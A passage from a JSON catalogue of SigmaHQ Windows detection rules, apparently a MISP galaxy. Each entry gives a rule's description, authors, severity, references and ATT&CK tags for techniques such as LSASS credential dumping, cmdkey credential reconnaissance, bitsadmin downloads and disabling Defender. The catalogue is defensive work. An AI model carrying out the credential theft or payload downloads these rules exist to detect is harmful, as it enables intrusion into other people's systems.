          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_format.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "9fb6b26e-7f9e-4517-a48b-8cac4a1b6c60",
      "value": "Format.com FileSystem LOLBIN"
    },
    {
      "description": "Detects the excution of a potential recon command where the results are piped to \"findstr\". This is meant to trigger on inline calls of \"cmd.exe\" via the \"/c\" or \"/k\" for example. Attackers often time use this to extract specific information they require in their chain.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), frack113",
        "creation_date": "2023/07/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_findstr_recon_pipe_output.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1057/T1057.md#atomic-test-6---discover-specific-process---tasklist",
          "https://www.trendmicro.com/en_us/research/22/d/spring4shell-exploited-to-deploy-cryptocurrency-miners.html",
          "https://www.hhs.gov/sites/default/files/manage-engine-vulnerability-sector-alert-tlpclear.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_pipe_output.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1057"
        ]
      },
      "related": [
        {
          "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ccb5742c-c248-4982-8c5c-5571b9275ad3",
      "value": "Recon Command Output Piped To Findstr.EXE"
    },
    {
      "description": "Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Samir Bousseaden",
        "creation_date": "2021/11/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lsass_process_clone.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1464566846594691073?s=20",
          "https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/",
          "https://twitter.com/Hexacorn/status/1420053502554951689",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lsass_process_clone.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c8da0dfd-4ed0-4b68-962d-13c9c884384e",
      "value": "Potential Credential Dumping Via LSASS Process Clone"
    },
    {
      "description": "Detects suspicious child processes of \"provlaunch.exe\" which might indicate potential abuse to proxy execution.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_provlaunch_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1674399582162153472",
          "https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_provlaunch_susp_child_process.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f9999590-1f94-4a34-a91e-951e47bedefd",
      "value": "Suspicious Provlaunch.EXE Child Process"
    },
    {
      "description": "Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework",
      "meta": {
        "author": "Ecco, oscd.community, Jonhnathan Ribeiro, Tim Rauch",
        "creation_date": "2019/09/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_impacket_lateral_movement.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html",
          "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py",
          "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py",
          "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py",
          "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impacket_lateral_movement.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047",
          "attack.lateral_movement",
          "attack.t1021.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "10c14723-61c7-4c75-92ca-9af245723ad2",
      "value": "HackTool - Potential Impacket Lateral Movement Activity"
    },
    {
      "description": "Detects execution of WinRAR in order to compress a file with a \".dmp\"/\".dump\" extension, which could be a step in a process of dump file exfiltration.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/04",
        "falsepositive": [
          "Legitimate use of WinRAR with a command line in which \".dmp\" or \".dump\" appears accidentally",
          "Legitimate use of WinRAR to compress WER \".dmp\" files for troubleshooting"
        ],
        "filename": "proc_creation_win_winrar_exfil_dmp_files.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrar_exfil_dmp_files.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1560.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1ac14d38-3dfc-4635-92c7-e3fd1c5f5bfc",
      "value": "Winrar Compressing Dump Files"
    },
    {
      "description": "Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.",
      "meta": {
        "author": "Eli Salem, Sander Wiebing, oscd.community",
        "creation_date": "2020/10/08",
        "falsepositive": [
          "Legitimate modification of keys"
        ],
        "filename": "proc_creation_win_regini_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini",
          "https://lolbas-project.github.io/lolbas/Binaries/Regini/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_execution.yml"
        ],
        "tags": [
          "attack.t1112",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5f60740a-f57b-4e76-82a1-15b6ff2cb134",
      "value": "Registry Modification Via Regini.EXE"
    },
    {
      "description": "Detects inline Windows shell commands redirecting output via the \">\" symbol to a suspicious location",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/12",
        "falsepositive": [
          "Legitimate admin or third party scripts used for diagnostic collection might generate some false positives"
        ],
        "filename": "proc_creation_win_cmd_redirection_susp_folder.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8e0bb260-d4b2-4fff-bb8d-3f82118e6892",
      "value": "Suspicious CMD Shell Output Redirect"
    },
    {
      "description": "Detects execution of \"Diskshadow.exe\" in script mode using the \"/s\" flag where the script is located in a potentially suspicious location.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/15",
        "falsepositive": [
          "False positives may occur if you execute the script from one of the paths mentioned in the rule. Apply additional filters that fits your org needs."
        ],
        "filename": "proc_creation_win_diskshadow_script_mode_susp_location.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow",
          "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware",
          "https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4",
          "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/",
          "https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/",
          "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration",
          "https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_diskshadow_script_mode_susp_location.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fa1a7e52-3d02-435b-81b8-00da14dd66c1",
      "value": "Diskshadow Script Mode - Execution From Potential Suspicious Location"
    },
    {
      "description": "Detects usage of bitsadmin downloading a file to uncommon target folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin",
          "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/",
          "https://isc.sans.edu/diary/22264",
          "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197",
          "attack.s0190",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6e30c82f-a9f8-4aab-b79c-7c12bce6f248",
      "value": "File Download Via Bitsadmin To An Uncommon Target Folder"
    },
    {
      "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems",
      "meta": {
        "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'",
        "creation_date": "2021/12/07",
        "falsepositive": [
          "Administrator, hotline ask to user"
        ],
        "filename": "proc_creation_win_susp_network_command.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-1---system-network-configuration-discovery-on-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_command.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1016"
        ]
      },
      "related": [
        {
          "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a29c1813-ab1f-4dde-b489-330b952e91ae",
      "value": "Suspicious Network Command"
    },
    {
      "description": "Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.",
      "meta": {
        "author": "Micah Babinski",
        "creation_date": "2022/12/11",
        "falsepositive": [
          "Legitimate use of the tool by administrators or users to update metadata of a binary"
        ],
        "filename": "proc_creation_win_pua_rcedit_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://security.stackexchange.com/questions/210843/is-it-possible-to-change-original-filename-of-an-exe",
          "https://github.com/electron/rcedit",
          "https://www.virustotal.com/gui/file/02e8e8c5d430d8b768980f517b62d7792d690982b9ba0f7e04163cbc1a6e7915",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_rcedit_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.003",
          "attack.t1036",
          "attack.t1027.005",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0c92f2e6-f08f-4b73-9216-ecb0ca634689",
      "value": "PUA - Potential PE Metadata Tamper Using Rcedit"
    },
    {
      "description": "Detects requests to disable Microsoft Defender features using PowerShell commands",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/03",
        "falsepositive": [
          "Possible Admin Activity",
          "Other Cmdlets that may use the same parameters"
        ],
        "filename": "proc_creation_win_powershell_defender_disable_feature.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files",
          "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps",
          "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1ec65a5f-9473-4f12-97da-622044d6df21",
      "value": "Powershell Defender Disable Scan Feature"
    },
    {
      "description": "The \"ScriptRunner.exe\" binary can be abused to proxy execution through it and bypass possible whitelisting",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/01",
        "falsepositive": [
          "Legitimate use when App-v is deployed"
        ],
        "filename": "proc_creation_win_lolbin_scriptrunner.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_scriptrunner.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "64760eef-87f7-4ed3-93fd-655668ea9420",
      "value": "Use of Scriptrunner.exe"
    },
    {
      "description": "Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/14",
        "falsepositive": [
          "Legitimate usage to restore snapshots",
          "Legitimate admin activity"
        ],
        "filename": "proc_creation_win_ntdsutil_susp_usage.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_susp_usage.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a58353df-af43-4753-bad0-cd83ef35eef5",
      "value": "Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)"
    },
    {
      "description": "Detects usage of cmdkey to look for cached credentials on the system",
      "meta": {
        "author": "jmallette, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Legitimate administrative tasks"
        ],
        "filename": "proc_creation_win_cmdkey_recon.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx",
          "https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation",
          "https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1003.005/T1003.005.md#atomic-test-1---cached-credential-dump-via-cmdkey",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "07f8bdc2-c9b3-472a-9817-5a670b872f53",
      "value": "Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE"
    },
    {
      "description": "Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin).",
      "meta": {
        "author": "Vadim Khrykov, Cyb3rEng",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_susp_execution_via_office_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml",
          "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_susp_execution_via_office_process.yml"
        ],
        "tags": [
          "attack.t1204.002",
          "attack.t1047",
          "attack.t1218.010",
          "attack.execution",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e1693bc8-7168-4eab-8718-cdcaa68a1738",
      "value": "Suspicious WMIC Execution Via Office Process"
    },
    {
      "description": "Detects usage of bitsadmin downloading a file to a suspicious target folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_bitsadmin_download_susp_targetfolder.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin",
          "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/",
          "https://isc.sans.edu/diary/22264",
          "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197",
          "attack.s0190",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2ddef153-167b-4e89-86b6-757a9e65dcac",
      "value": "File Download Via Bitsadmin To A Suspicious Target Folder"
    },
    {
      "description": "Detects suspicious msiexec process starts with web addresses as parameter",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/02/09",
        "falsepositive": [
          "False positives depend on scripts and administrative tools used in the monitored environment"
        ],
        "filename": "proc_creation_win_msiexec_web_install.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_web_install.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.007",
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f7b5f842-a6af-4da5-9e95-e32478f3cd2f",
      "value": "MsiExec Web Install"
    },
    {
      "description": "Detects suspicious powershell invocations from interpreters or unusual programs",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Microsoft Operations Manager (MOM)",
          "Other scripts"
        ],
        "filename": "proc_creation_win_powershell_script_engine_parent.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.securitynewspaper.com/2017/03/20/attackers-leverage-excel-powershell-dns-latest-non-malware-attack/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_script_engine_parent.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "95eadcb2-92e4-4ed1-9031-92547773a6db",
      "value": "Suspicious PowerShell Invocation From Script Engines"
    },
    {
      "description": "Detects calls to PowerShell with Invoke-WebRequest cmdlet using direct IP access",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_invoke_webrequest_direct_ip.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invoke_webrequest_direct_ip.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1edff897-9146-48d2-9066-52e8d8f80a2f",
      "value": "Suspicious Invoke-WebRequest Execution With DirectIP"
    },
    {
      "description": "Detects the execution of netsh with \"add helper\" flag in order to add a custom helper DLL. This technique can be abused to add a malicious helper DLL that can be used as a persistence proxy that gets called when netsh.exe is executed.\n",
      "meta": {
        "author": "Victor Sergeev, oscd.community",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_netsh_helper_dll_persistence.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/outflanknl/NetshHelperBeacon",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md",
          "https://web.archive.org/web/20160928212230/https://www.adaptforward.com/2016/09/using-netshell-to-execute-evil-dlls-and-persist-on-a-host/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_helper_dll_persistence.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.persistence",
          "attack.t1546.007",
          "attack.s0108"
        ]
      },
      "related": [
        {
          "dest-uuid": "f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "56321594-9087-49d9-bf10-524fe8479452",
      "value": "Potential Persistence Via Netsh Helper DLL"
    },
    {
      "description": "Detects usage of bitsadmin downloading a file with a suspicious extension",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_bitsadmin_download_susp_extensions.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin",
          "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/",
          "https://isc.sans.edu/diary/22264",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_extensions.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197",
          "attack.s0190",
          "attack.t1036.003"
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      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5b80a791-ad9b-4b75-bcc1-ad4e1e89c200",
      "value": "File With Suspicious Extension Downloaded Via Bitsadmin"
    },
    {
      "description": "Detects execution of \"AdPlus.exe\", a binary that is part of the Windows SDK that can be used as a LOLBIN in order to dump process memory and execute arbitrary commands.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/09",
        "falsepositive": [
          "Legitimate usage of Adplus for debugging purposes"
        ],
        "filename": "proc_creation_win_adplus_memory_dump.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nas_bench/status/1534916659676422152",
          "https://twitter.com/nas_bench/status/1534915321856917506",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_adplus_memory_dump.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1003.001"
